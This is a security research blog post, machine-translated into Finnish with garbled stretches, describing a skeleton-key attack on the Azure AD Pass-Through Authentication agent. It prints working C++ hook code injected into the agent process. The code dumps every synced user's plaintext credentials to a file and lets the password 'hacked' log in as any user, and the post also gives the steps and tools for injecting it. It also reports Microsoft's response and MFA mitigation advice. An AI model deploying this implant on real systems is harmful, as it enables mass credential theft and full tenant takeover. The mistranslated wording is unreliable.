Azure Skeleton Key: explaining Pass-Through Auth to Steal Credives

EDIT: tietoturvatutkija Adam Chester oli aiemmin kirjoittanut Azure AD Connectista Red Teamersille, puhuen todennustoiminnon kytkemisestä. Katso hänen mahtava kirjoitus täältä.

tiivistelmä

jos hyökkääjä vaarantaa organisaation Azure–agenttipalvelimen-komponentin, jota tarvitaan Azure–mainosten synkronointiin on-prem-mainosten kanssa-hän voi luoda takaoven, jonka avulla hän voi kirjautua sisään kuin kuka tahansa synkronoitu käyttäjä. Loimme proof-of-Conceptin, joka manipuloi Azure-todennustoiminnon arvoon 1.) anna meille ”yleisavain” salasana, joka toimii kaikille käyttäjille, ja 2.) dump kaikki real clear-text käyttäjätunnukset ja salasanat tiedostoon.

Läpivientitodennus Azure AD-Connectilla

Azure AD-Connect yhdistää Azure AD-ympäristön tilakohtaiseen verkkotunnukseen ja tarjoaa useita todennusmenetelmiä:

  • Password Hash Synchronization-menetelmä, joka synkronoi paikallisen on-prem hashin pilveen.
  • läpivienti-todennus – menetelmä, joka asentaa ”Azure-agentin” – Prem-järjestelmään, joka todentaa synkronoidut käyttäjät pilvestä.
  • federaatio – menetelmä, joka nojaa AD FS-infrastruktuuriin.

hyökkäystapamme hyödyntää läpivientiin käytettävää Azure-agenttia. On-prem-agentti kerää ja tarkastaa Azure AD: n vastaanottamat tunnukset tileille, jotka synkronoidaan on-prem-verkkotunnusten kanssa.

Autentikointivirta

Azure-Läpivientivirta

  1. käyttäjä syöttää käyttäjätunnuksensa ja salasanansa Azure AD/O365-palveluun.
  2. Azure – mainos salaa tunnukset julkisella avaimella ja asettaa ne agenttijonoon-on-prem-agentin luoma pysyvä yhteys. Tämän jälkeen agentti kerää tunnukset ja purkaa ne yksityisellä avaimellaan.
  3. agentti todentaa käyttäjän On-Prem DC: lle API-toiminnon LogonUserW avulla.
  4. DC validoi tunnistetiedot ja palauttaa vastauksen.
  5. on-prem DC: n vastaus lähetetään takaisin Azure AD: lle.
  6. jos käyttäjän kirjautuminen onnistuu, käyttäjä kirjautuu sisään.

Abusing the Agent

to exist the agent, we ’ ll need the following:

  • Azure AD Connect on määritetty Läpivientitodennusta varten.
  • hallinnolliset oikeudet palvelimella, johon on asennettu Azure-agentti.

vaarannettuamme Azure-agenttia käyttävän palvelimen voimme peukaloida todennusvirtaa. Prosessi, joka on vastuussa valtakirjojen tarkistamisesta, on kätevästi nimeltään AzureADConnectAuthenticationAgentservice.exe ja se perustuu API-toiminto LogonUserW. Microsoftin dokumentaatio toteaa, ” Authentication Agent yrittää vahvistaa käyttäjätunnuksen ja salasanan vastaan tiloissa Active Directory käyttämällä Win32 LogonUser API dwlogontype parametri asetettu LOGON32_LOGON_NETWORK.

jos kiinnitämme API-puhelun Apimonitorin avulla (työkalu, joka voi kytkeä minkä tahansa Windows API-puhelun olettaen, että sinulla on järjestelmänvalvojan oikeudet), voimme alkaa tarkastella mielenkiintoisia asioita todennusprosessissa:

API-monitori

käyttäjä” noob ”todennettiin salasanalla ”mypassword”.

 Azure Agent in Danger (Ralph Wiggum meme)

API-monitorin luominen

nyt kun tiedämme, miten salasanoja käytetään, katsotaan, voimmeko automatisoida prosessin.

tarkoituksena on pistää DLL Azureadconnectauthenticationagents-palveluun.exe ja kirjoittaa osoitin funktio LogonUserW omalla toiminnolla.

käyttäen EasyHook, kirjoitimme DLL, joka koukuttaa LogonUserW-funktion ja korvaa sen uudella LogonUserW: llä:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\shhhh.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword);myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);}

huomaa, että funktio vaatii saman määrän parametreja kuin LogonUserW. Kun funktiota kutsutaan, se luo tiedoston ” shhhh.txt ” ja kirjoittaa siihen käyttäjätunnus-ja salasanamuuttujat. Funktio palauttaa todellisen LogonUserW-puhelun tuloksen alun perin toimitetuilla parametreilla.

DLL: n pistäminen

Injectallthethingsin ja sen heijastavan DLL-moduulin ansiosta latasimme DLL: n prosessiin ja saimme seuraavat tulokset:

selkeän tekstin salasanat

jokainen synkronoitu käyttäjä, joka yhdistää Azure AD (esim.Office 365), lisää salasanansa tekstitiedostoomme.

La Cerise Sur le Gâteau

salasanojen kerääjämme tarvitsee vain hieman ”en tiedä mitä” muuttuakseen Azuren Yleisavaimeksi, jolloin hyökkääjä voi todentaa (yhdellä tekijällä) kuin kuka tahansa käyttäjä, käyttäen ennalta määrättyä salasanaa.

yleisavaimellemme muokkaamme palautusarvoa funktiossa, LogonUserW, niin että kun syötämme salasanan ’hacked’, kirjaudumme onnistuneesti sisään käyttäjän todellisesta salasanasta riippumatta. LogonUserW on Boolen funktio, joka vastaanottaa osoittimen käyttäjän tokeniin, kansoittaa sen user tokenilla ja palauttaa true jos onnistuu.

hieman testaus paljastaa, että palauttaminen joko fake token tai ei token aiheuttaa prosessin kaatua, joten ohjelma vaatii voimassa token.

mistä saamme käyttäjätunnuksen, joka kulkee funktiolle generoimatta sellaista?

No, koska olemme jo Azureadconnectauthenticationagents Servicessä.exe prosessi, voimme lainata sen käyttäjä token!

uusi versio:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\beep.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); //get time std::time_t result = std::time(nullptr); myfile << " "; myfile << std::asctime(std::localtime(&result)); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); string hacked = "hacked"; if(hacked.compare(pass)) { // Log the user in return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); } else { // Use Skeleton Key, return true OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken); return true; }}

kutsumalla OpenProcessToken me kansoittaa phToken muuttuja kanssa prosessin oma token.

toimii kuin hurmuri!

vaikka jokainen käyttäjä voi vielä muodostaa yhteyden omalla salasanallaan, voimme todentaa sen onnistuneesti keneksi tahansa käyttäjäksi käyttämällä salasanaa ”hacked”.

tässä …

tässä vaiheessa hyökkääjä sai vuokralaisen täysin hallintaansa ja voi kirjautua sisään kuin kuka tahansa käyttäjä, mukaan lukien Global Admin-tilin. Tämä on Loppupeli.

lopulliset ajatukset

yleisavaimen asentaminen Azure-agenttiin voi olla hyödyllistä:

  • oikeutesi laajeneminen Global Administratoriin (joka puolestaan mahdollistaa Azuren vuokralaisen hallinnan)
  • pääsy organisaation on-prem-ympäristöön palauttamalla verkkotunnuksen ylläpitäjän salasana (olettaen, että salasanan palautus on käytössä)
  • ylläpitäminen organisaatiossa
  • selkotekstisalasanojen kerääminen

Microsoft Security Response Centerin vastaus raporttiimme saa meidät uskomaan, että korjaustiedostoa ei luoda:

tämä raportti ei näytä tunnistavan Microsoftin tuotteessa tai Palvelussa sellaista heikkoutta, jonka avulla hyökkääjä voisi vaarantaa Microsoftin tarjoaman tarjonnan eheyden, saatavuuden tai luottamuksellisuuden. Tätä asiaa varten hyökkääjän on ensin tehtävä koneesta kompromisseja ennen kuin he voivat ottaa palvelun haltuunsa.

vaikka en tunne Azuren Läpivientitodennuksen sisäistä toimintaa, voin ehdottaa muutamia ratkaisuja, jotka voivat auttaa lieventämään tätä haavoittuvuutta. Salatut valtakirjat saatetaan esimerkiksi siirtää välittäjältä keskitetylle asiamiehelle, joka sijaitsee DC: ssä (tyypillisesti hyvin suojattu palvelin). Kyseinen DC-agentti varmentaisi tunnukset ja vastaisi salatulla vastauksella, jonka voi avata vain Azure-pilvipalvelu. Täyden hallinnan DC: ssä saanut hyökkääjä on jo voittanut, sen varjoon jäävät mahdolliset riistot.

eräällä asiakkaallamme oli todella mielenkiintoinen näkemys tästäkin:

yleisavain voi olla ongelma ympäristöissä, joiden avulla käyttäjä voi kirjautua Azure/O365-tileille ilman MFA: ta, mutta agentin kyky tallentaa jokainen kirjautumistunnus ja salasana selkotekstillä Azuren todennuttua paikallisen DC: n kanssa on valtava huolenaihe. Tämä antaisi hyökkääjälle massoittain voimassa olevia käyttäjätilejä, joita voitaisiin käyttää kirjautumiseen on-prem-resursseihin eri käyttäjinä. Yhtäkkiä palvelimen ylläpitäjällä, jolla ei ollut pääsyä tietokantoihin, muihin laitteisiin ja resursseihin, on nyt käytössään niin paljon käyttäjätilejä, että he voivat kulkea kaikkialla ja käyttää tietokantoja, joita heillä ei aiemmin ollut. – Mainokseen tarttuminen voi olla totta .dit tiedosto tekisi myös tämän, mutta ne salasanat ovat edelleen hashed, tarvitset ylimääräistä aikaa joko crack hashs offline, tai, käyttää pass hash-tyyppinen hyökkäys (joista monet olisi havaittu). Tämä uusi menetelmä näyttää paljon helpompi uhka toimija käyttää ja vaikeampi IR joukkue havaita.

Prevention

Privileged attackers saattaa käyttää tätä hyödyntämistä takaoven asentamiseen tai salasanojen keräämiseen. Perinteinen lokianalyysi voi epäonnistua tämän havaitsemisessa, jos hyökkääjä osaa peittää jälkensä.

MFA: n käyttäminen estää hyökkääjiä muodostamasta yhteyttä Azure-pilveen väärennetyllä salasanalla, vaikka tätä hyökkäystä voitaisiin käyttää salasanojen keräämiseen MFA-yhteensopivissa ympäristöissä.

Vastaa

Sähköpostiosoitettasi ei julkaista.